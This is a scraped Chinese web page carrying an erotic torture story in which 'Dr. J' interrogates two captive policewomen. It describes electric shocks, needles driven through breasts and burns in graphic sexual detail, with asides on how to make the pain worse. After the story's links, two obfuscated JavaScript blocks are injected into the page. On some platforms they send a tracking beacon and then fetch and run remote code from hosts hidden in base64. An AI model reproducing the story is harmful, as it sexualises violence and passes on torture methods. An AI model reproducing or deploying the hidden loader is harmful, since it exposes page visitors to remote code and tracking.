戴着镣铐锁链的晓慧被拖到了J博士的面前。这是个很清秀的姑娘,虽然几天来的牢房关押和严刑拷打已经使她失去了原来的青春亮丽而变得脸色憔悴、头发散乱,但仍然掩盖不住少女清纯和倔强的气质。

毕竟还是个年轻的女孩,刑房里那林立的刑具、斑斑的血迹、凶神恶煞般的打手和前两次受刑时那种惨痛的记忆使晓慧受到强烈的刺激,两腿禁不住微微发抖,她想控制住颤抖,但没有成功,脸色失去了血色变成灰白,汗水在灰白的额头渗出后结成豆粒大小的汗珠滴落下来,少女微微张开嘴,尽量不显形色地深唿吸,好使自己镇定下来。

J博士的嘴角掠过一丝冷笑,恶狠狠地斜眼打量着晓慧,少女的紧张恐惧,使J博士得到了一种恶毒的满足。

刑房里没有受刑人坐的地方,要坐就只有老虎凳和刑椅。晓慧被带到刑具和铁链、绳索间的空地,身后是两个彪形的打手──两个精于各种酷刑的冷血虐待狂。

“今天你说不说?”

少女又禁不住一抖,但神色依然如故。

“动手!给小姐准备一下!”残暴的命令从J博士口中说出,显得是那么的漫不经心。

两个打手立刻从两边抓住了看上去几乎是有些弱不禁风的女警,动作熟练地除去她身上的镣铐锁链。

被四只强有力的大手抓着的少女徒劳地挣扎着,打手们很轻松地腾出手剥去套在她身上的囚袍,三两下就把她剥得一丝不挂,露出了少女身上的累累鞭痕。一条条暗红色的鞭痕尚未痊愈,难看地肿胀着,布满了姑娘的全身,遍体鳞伤,血迹斑斑,和少女那修长美丽的身段和柔嫩的肌肤是那么的不相称,使人触目惊心。

两个打手一把拧过晓慧的手臂,把她按倒在地,然后拿来一根木杠,把少女的双臂一字形平伸绑在了木杠上,又拿来另一根木杠,把少女的一只脚腕绑在木杠的一端,另一只脚腕绑在木杠的另一端,使她的双腿尽量分开。

捆绑着的少女被拖到了刑架前,绑住她双臂和双脚的木杠分别被固定在刑架上的四个铁环上,少女就这样叉开双腿,被“大”字形地悬空绑在了刑架上,一点挣扎的余地都没有。

J博士走到赤身裸体的少女面前,一把抓起她的头发嘲弄着︰“看样子你是存心要做警局的女英雄了。何必那么死心眼呢?想想看吧!你会在这里受到没完没了的折磨,每天陪伴你的就是镣铐、牢房和严刑拷打,直到被活活地折磨死,没有人知道,也没有人会来为你报仇。”

晓慧仍然紧抿着嘴,一声不吭,眼眶里盈满了泪。

“你的那些同事在逍遥快活,却让你这样的小姑娘在这里受苦,连我都看不下去了。”

晓慧的牙齿紧紧地咬住了嘴唇,努力不让泪珠滚落下来。

“说不说?不说就让你尝尝电刑的滋味!”

“……”回答J博士的仍然是坚定的沉默。

J博士恶狠狠地把少女的头用力一搡︰“我倒要看看是你的嘴紧,还是我的电刑厉害!”说完向打手们一摆头︰“上刑!”

一个打手走上前来,淫笑着伸出手,抓住了少女的右乳。当少女自珍如命的乳房被打手抓住时,她的全身悸悸地一抖。打手狞笑着,用手掌揉搓着少女娇小柔嫩的乳房,并且用两个手指使劲地掐着少女小红豆般的乳头,用力地向外拽,好使少女娇小的乳头勃起。晓慧咬住嘴唇紧闭着双眼,忍受着这种凌辱,钻石般晶莹的泪水如泉水般从眼眶中涌落。接着,打手把一个连着电线的锯齿型钢夹夹在了她的乳头上,把另一个电极夹在了她的脚心。

在给女性施用电刑的时候,通常的做法是把电极分别夹在两个乳头上,但按《狼堡拷打指南》的推荐,如果把电极分别夹在身体不同侧的乳头和脚心上(如右乳左脚),往往更能发挥电刑的效果。对拷打艺术颇有研究的J博士发现,把电极夹在两个乳头上,电流行进的距离有限,使拷打的效果稍逊,而如果夹在不同侧的乳头和脚心上,则能保证电流最大限度的贯穿全身,使全身的敏感器官都能在电击下产生反应,强化受刑时的痛苦,从而把电刑的妙处发挥到极致。

J博士狞笑着,猛然把开关一合,随着“啊……!”的一声令人耳不忍闻的惨叫,强大的电流顿时通过少女最不堪虐的乳房和人体最敏感的脚心射向全身。

先是那未哺的乳房弹性顿失,像装了震荡器般地跳耸,接着少女的身子直直地绷紧,脖子强直后仰,就如一张绷紧了弦的弓,姑娘那被电极夹着的脚剧烈地颤动,脚背紧绷,纤细的脚趾像扇子般张开,往上翘起,修长漂亮的腿发疯似地抽搐,手腕外翻,手指直直地张开,痛苦地挣扎着。晓慧只觉得全身在剧烈地痉挛,双眼好像要蹦出来似的,身上热辣辣的,如同火烧火燎一般,全身似有无数根钢针在扎,痛苦难忍。

电源被关上了,少女的身子一下子瘫软下来,她的嘴唇咬破了,身上像被雨淋过一样的汗珠直往下流。

“说还是不说?”

少女睁开眼,胸脯一起一伏地直喘粗气,但除了发出的低低呻吟声外,仍然一言不发。

J博士老羞成怒,电刑的恶毒之处就在于能把人折磨得死去活来,而又不会轻易昏死过去,因而深得打手们的喜爱,经常被用来拷打那些不幸的姑娘们。这种酷刑就连硬汉子也很难挺得住,用来拷问年轻的女性更是十拿九稳,可眼前这个看似文弱的女孩子竟然经受住了这种骇人听闻的严刑拷打和凌辱,就连那些冷血打手们也不禁大为惊奇。

电源再次被接通,少女的身体再一次抽搐起来,她尖声惨叫着,绝望地挣扎着,想以此来减轻一些受刑的痛苦,那种撕心裂肺的叫声使人很难相信是一个少女发出的声音。不一会儿,晓慧的嗓子就变哑了,惨叫声也渐渐变成了沙哑的嘶鸣。

电源一次次地被接通,又一次次地被断开,打手们就像是摆弄一个电动玩具似地,残酷地折磨着这个可怜的女孩,使她扭动着身子,发出一阵阵的惨叫,电压也被打手越调越高。

电刑是二十世纪拷打艺术的伟大发明之一,在用低电压上电刑时,通常会使受刑者全身痉挛抽搐,高电压时会使受刑者身上发出一股皮肉的焦臭味。电流通过全身时,还使全身的肌肉因剧烈的抽搐和震颤而痛苦难忍,这种痛苦甚至在受过刑后的很长一段时间里都无法消除。在用高电压施刑时,还会对受刑者的大脑和神经系统产生严重伤害,经电刑拷打过的少女经常会感到神志恍惚,严重的甚至会大小便失禁。

可怜的少女被折磨得死去活来、痛不欲生,但坚贞不屈的少女除了发出的嘶哑的惨叫和低低的呻吟外,硬是一字不吐。少女的脸上,屈辱的泪水和豆大的汗珠和着咬破嘴唇流出的血在嘴角边洇开,全身湿淋淋的满是汗水,像是刚被从水里捞上来一样。

J博士的脸气得发绿,亲自动手拿过电极,再次朝少女的腋窝刺去──用电刑时,打手总是把电极刺到女性身上最敏感的地方──乳头、脚心和腋窝。少女再一次浑身抽搐、痛苦挣扎起来,先前的一幕又一遍遍地重演。

残酷的拷打持续了大约一个多小时,对少女来说,简直就像一生那么漫长。她的乳头、脚心和腋窝都已被电流灼伤,散发着一股难闻的焦臭味。晓慧几次被折磨得昏死了过去,但每次又都被打手们用凉水浇醒,她已经虚弱得无力再喊叫了,全身瘫软大口地喘着气。

终于,在又一次强大的电流摧残下,年轻的女警、纯洁的二十岁少女又一次昏死过去,头垂到了胸前。

“快点把她浇醒!”J博士仍不甘心,还想继续拷问。

“博士,再用刑怕会把这贱货弄死的。”一个打手提醒道。

J博士沉吟了片刻,终于悻悻地向打手们摆了摆手︰“换下一个!”

当J博士再次走进“狼堡”地下刑房的时候,打手们早已把文卿从牢房里拖来,剥得一丝不挂地“准备”好了。

打手们今天用的捆绑方法是J博士亲自发明、专门用来对付女性的。赤身裸体的少女背靠着一根柱子,双臂环绕着柱子被反绑着手腕。她的身体被三根绳索吊着,一根绳索绑住少女的手腕,一根拴起少女的一头长发,乳房上下分别被两道麻绳绕过,在背后系住,再和另一根吊绳捆在一起。三根吊绳同时收紧,少女不得不吃力地仰着头,踮起赤着的双脚,才能让脚尖勉强够着地面。她的脚腕也被用绳索捆住,麻绳绕过柱子又绑住她的另一只脚腕,这样双脚互相牵制着,一点挪动的余地都没有。

文卿的嗓子里发出低低的呻吟,这种恶毒的捆绑悬吊方法使她痛苦不堪。身体的重量吃在了吊着她的三根绳索上,头皮被撕扯得生痛,被反扭吊着的手臂酸痛难忍,绕过乳房上下的绳索深深地勒进了皮肉里。

J博士狞笑着走到文卿的跟前,少女难堪地扭动着身子,竭力挣扎着,尽管她已经没有多少挣扎的余地了……打手们要的就是这点,任何人被剥得一丝不挂地在审问者面前,都会首先被削弱了心理上的抵抗力,更何况一个娇嫩的少女被赤身露体地用这种令人极为痛苦的方式吊在一群如狼似虎的淫魔们面前。

J博士漫不经心地用手托起文卿的下巴︰“说不说?小姐,密码是什么?”

文卿紧咬着嘴唇,一声不吭,只有那双秀丽的眼睛里透着的不屈的神情,明白无误地表明了少女的回答。

J博士狞笑着,他的眼睛盯着少女胸前挺拔的乳峰,猛然伸出手,一把向少女丰满柔嫩的乳房抓去。

“呵……呵∼∼!”少女起初还竭力忍着,尽量不叫出声来,但后来终于忍不住了,从嗓子里发出一阵阵的尖叫。乳房是女孩身上最娇嫩、最敏感的地方,怎么受得了这样的摧残?少女拼命挣扎着,屈辱的泪水像泉水般从脸上滚落。

一阵恶狠狠地乱抓乱掐后,J博士终于松开手来,阴阴地笑道︰“怎么样?小姐。这只是热热身而已,好玩的还没有开始呢!”

文卿大口大口地喘着气,一言不发。

J博士向打手摆摆手︰“拿两根化妆绳来!”

一个打手会意地递上了所谓的化妆绳°°两根细麻绳。J博士拿起一根细麻绳,绕着少女的乳房根部紧紧地捆了几道,使少女的乳房高高地挺立在胸前。接着,J博士如法炮制,把少女的另一只乳房也照样捆了起来。

由于麻绳捆得很紧,少女的乳房不一会儿就因为充血而呈很深的紫红色,肿涨得像皮球一般,在洁白如玉般光润的少女胸前更显得突出。

乳房是女性身上最为敏感和娇嫩的地方之一,按《狼堡拷打指南》的推荐,在对女囚用刑时应对她们的乳房“特别下功夫”。对女囚的乳房进行拷打既具有极强的情色魅力,又有极佳的拷问效果,因而深得“狼堡”打手们的青睐,经常被用来折磨那些不幸的少女。

这时,另一个打手端上了一个不钢盘,盘内的一块海绵上插着几十根粗细长短不一的钢针。J博士挑了一根约有40公分长的钢针,捏在手里,用针尖逗弄般地在少女的乳房上轻轻地划过。少女的全身一阵颤抖,并不是由于刺痛,而是由于恐惧。

“还不打算开口吗?”J博士的脸上继续保持着那种优雅,然而是狰狞的微笑。文卿仍是一言不发,只有剧烈起伏着的胸部暴露了她内心的极度恐惧。

J博士仍然狞笑着︰“要把这么漂亮的一对乳房给糟蹋了,就连我这样的铁石心肠都下不了狠心呵。实在是你逼着我动手的呵!”

然后,J博士一手抓住少女的乳房,另一只手举起钢针,从少女的乳房上方横着刺了进去。

“呵∼∼!”针尖刚没入的时候,少女的喉咙里发出了一声刺耳的尖叫,浑身一阵颤抖。J博士故意刺得很慢,用两根手指捻着钢针慢慢地推入。钢针刺入的时候带来的痛苦最大,慢慢地推入,则可以把这种戮心戮肝的痛苦尽量延长。

少女的乳房由于麻绳的捆扎早就血液充盈,钢针刺入的地方,殷红的鲜血慢慢地渗出,沿着乳房表面慢慢地流下,在少女洁白的乳房上形成了一条美丽的红线。

足足用了几秒钟,钢针的针尖终于从乳房的下方钻了出来了。随着针尖的出现,又一道细细的血线开始向下延伸。

“呵……!呵……!”文卿拼命地挣扎着,使得柱顶上垂下吊绳的滑车“哗啦、哗啦”乱响。

“你说不说?”J博士恶毒地用手指弹了一下穿刺在少女乳房上的钢针,闪着银光的钢针在乳房上颤动着。

“呃……!呜……!”文卿的身体随着钢针的颤动也是一阵痛苦的抽搐,脸都扭曲了,但是少女倔强的眼神里没有一点屈服的意思。

“小贱货,看来你是存心要和我过不去了,今天我就陪你好好玩玩!”J博士的鼻子里哼了一声,用大拇指向打手端着的盘子指了指︰“这里有满满一盘让你享受呢!”

看到盘子里那一根根竖立着亮晶晶的钢针,文卿彻底绝望了,屈辱的泪水像泉水般涌落,但她仍然竭力咬着嘴唇,一言不发“呵∼∼!呵∼∼!”少女剧烈地挣扎着,尖声的惨叫让人耳不忍闻。不一会儿,她的左乳就被从不同角度刺入了四根长长的钢针。少女娇小迷人的玉乳上鲜血淋漓。但除了发出的痛苦的惨叫和呻吟外,文卿仍然一字不吐。

J博士这次从盘子里抽出了一根稍短一些的钢针,淫笑着用针尖拨弄着少女小花蕾般的乳头。少女的身体又是一阵颤抖,恐惧地尽量把身体往后缩去,虽然她的身体实际上没有什么动弹的余地。想到J博士接下来要干什么,文卿的内心充满了绝望︰“天哪!为什么要让我受这种罪呵!”

J博士慢慢地把针对着少女的乳头刺了进去。

“呵∼∼!呀∼∼!”少女的尖声惨叫已经变成了杀猪般的嚎叫。

女性的乳头上神经元密布,极为敏感和脆弱,因而在受刑时往往也招致打手们更多的“照顾”。用钢针刺入乳头带来的痛苦甚至比刺入乳房还要大得多。在“狼堡”中,打手们把针刺乳头叫做“四两拨千斤”,指的就是这种折磨方式的神奇效果,再刚强的女子也经受不住这种酷刑的持续折磨。

“畜生!”少女嘶叫着︰“折磨女人算什么本事?”

“嘿嘿!”J博士狞笑着︰“折磨女人可是很有学问的本事,你的嘴再硬,我也有办法让你开口。你说不说?”

“杀了我吧!”少女哭叫着︰“打死我也不说!”

“打死你就太便宜你了,我要让你尝尝生不如死的感觉,看看是你的嘴紧还是我的本事大!”说话之间,J博士把又一根钢针刺进了少女的乳头。

少女的乳头挺立着,显然不是因为兴奋,而是由于钻心的痛苦。文卿的乳头是属于娇小型的,被刺入两根钢针后,已经找不到地方再刺第三根了,原先紫红色的乳尖被渗出的鲜血泄成了鲜红色。

少女的身体剧烈颤抖着、挣扎着,她的脸涨得通红,由于极度的痛苦和不断的挣扎,她的额头上渗出了一层细密的汗珠,不断地向下滚落。

文卿被这种惨无人道的酷刑折磨得死去活来,她觉得自己快要受不了了,脑子里一个声音在说︰“招供了吧,我再也受不了了,他们要是再刺一根针我就招了。”另一个声音不断地提醒自己︰“挺住!挺住!一定要挺住!再挺过几天就可以解脱了。”

J博士又开始不紧不慢地往她的右乳房上刺针,在右乳上被刺入了两根钢针的时候,文卿终于被折磨得昏死了过去,暂时脱离了痛苦。她的头发仍然被绳索吊着,但眼皮垂了下来,原先那张清丽的脸却仍然保持着被痛苦扭曲了的模样。

J博士向打手们摆手示意,一个打手提来一桶凉水,“哗……”地一下噼头盖脸地浇在被悬吊着的少女身上。

“啊……!”在冷水的刺激下苏醒过来的少女不由自主地呻吟了一声。随着知觉的恢复,痛苦和磨难又回到了她的身上。

“你到底说不说?”J博士一把捏住文卿的脸颊,几乎是咆哮着。

“你们这些畜生!总有一天我们的人会为我报仇的!”文卿圆瞪着双眼,尖声怒骂着。少女原先妩媚的双眼,现在流露出的只有仇恨的火光。

少女的怒骂更进一步激起了打手们施虐的冲动。对这些虐淫的老手来说,一般的淫虐行为早已不能使他们满足,轻易就会屈服的施虐对象也会让他们感到平淡无趣。一定程度的反抗反而会使他们充满去征服的欲望,爆发出酣畅淋漓的淫虐激情。

J博士继续慢条斯理把钢针向文卿的右乳房上刺去。不一会儿,少女的右乳房同样也被刺入了六根钢针°°四根刺在乳房上,两根直直地挺立在乳头上。

少女的惨叫声回荡在阴森的刑房中,那种撕心裂肺的声音使人几乎不能相信是从一个少女的嗓子中发出来的。但是除了惨叫声和怒骂声外,文卿仍然一字不吐。

一般人们都认为女人,特别是少女都是软弱、娇嫩的,但实际上女人远比男人具有献身精神和忍耐力,当她们决定为一件事情或一个人作出牺牲的时候,她们往往可以表现出与她们娇弱的身躯极不相称的顽强和坚贞,在这种时候,无论何种常人难以忍受的痛苦和折磨她们都可以殉道般地勇敢承受。

J博士点燃一枝雪茄叼在嘴里,然后伸出两只手,“嗖……嗖……嗖……”几下把刺在少女乳房、乳头上的钢针全部拔了出来。

“哇呀∼∼!啊∼∼!”文卿的身体随着J博士双手的动作又是一阵剧烈的抽搐。

钢针刚一拔出,少女的乳房顿时血流如注,殷红的鲜血顺着她的乳房、身体和双腿,最后流过脚面,在少女脚下的水泥地上积起了小小的一滩。文卿的嗓子已经沙哑了,原先尖声的惨叫变成了喉咙里嘶哑的惨嚎。

J博士的鼻子里哼了一声,手中的烟头朝少女乳房上的伤口戳去。

“啊∼∼!啊∼∼!”少女又一次发出了一阵尖厉的惨叫。

J博士把烟头按在少女粘满鲜血的乳房上,慢慢地捻动着。一个地方的皮肉被烫成了他想要的效果,他就接着换一个地方。随着一阵阵青烟的冒出,虽然乳房上伤口的出血点被止住了,但少女原来性感迷人的娇乳上也已经布满了焦黑的伤痕,被摧残得不成样子了。可怜的女警又一次被折磨得昏死了过去。

文卿再一次在凉水的刺激下悠悠醒来时,神志仍是恍恍的,过了好一会才看清楚眼前晃动的人影。J博士的声音又在耳边响起︰“还没有享受够吗?今天给你准备的玩具还没有玩完呢!”

文卿真想狠狠地朝这帮禽兽脸上啐一口,但是她已经没有力气这样做了,她的头皮像要被撕下来似地剧痛难忍,嘴巴被迫张开着,大口大口地喘着气。

J博士向打手们命令道︰“把烙铁烧起来!”

两个打手应声把一只燃气炉放在了文卿的面前,点着火,把几把烙铁放在火里烧了起来。J博士恶狠狠地朝着少女狞笑着︰“在它烧红以前,你还有几分钟的时间考虑,想一想吧,这烧红的烙铁烙到滑腻腻的皮肉上会是什么感觉?”

文卿已经被折磨得死去活来,她的额头上汗如雨下,涨得通红的脸上布满了泪痕。看着炉子上的烙铁渐渐地变成了暗红色,然后越来越红,少女觉得自己这会真的挺不住了,身子在不由自主地发抖。

她的牙齿拼命地咬住下唇,想控制住自己。文卿在心底一遍遍地对自己说︰“挺住!一定要挺住!再挺过这关他们今天也许就会停手了。”

终于,烙铁被烧成了通红色,J博士从炉子里抽出烙铁,举到少女的鼻子跟前,问道︰“想好了吗?到底说不说?”

烙铁距离少女的鼻尖只有一公分,散发出的热量直扑少女的脸上,使她几乎睁不开眼睛。虽然少女的内心被巨大的恐惧感深深地攫住了,但是她仍然不吐一字,只有颤抖着的嘴唇暴露出了姑娘内心中的恐惧。

J博士似乎惋惜地摇了摇头,一伸手,把通红的烙铁朝少女洁白柔嫩的胸脯上烫去。随着又一声嘶哑的惨叫,刑房里立即弥漫了一股皮肉的焦臭味。少女原先滑如凝脂的肌肤被烫得“吱吱”作响,青烟直冒。可怜的少女甚至连挣扎的力气也没有了,即使在这种惨无人道的折磨下,身体也只是本能地抽搐着。

“嗷……!”


上一篇:蒙古草原的成人礼

下一篇:我仍爱老公


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};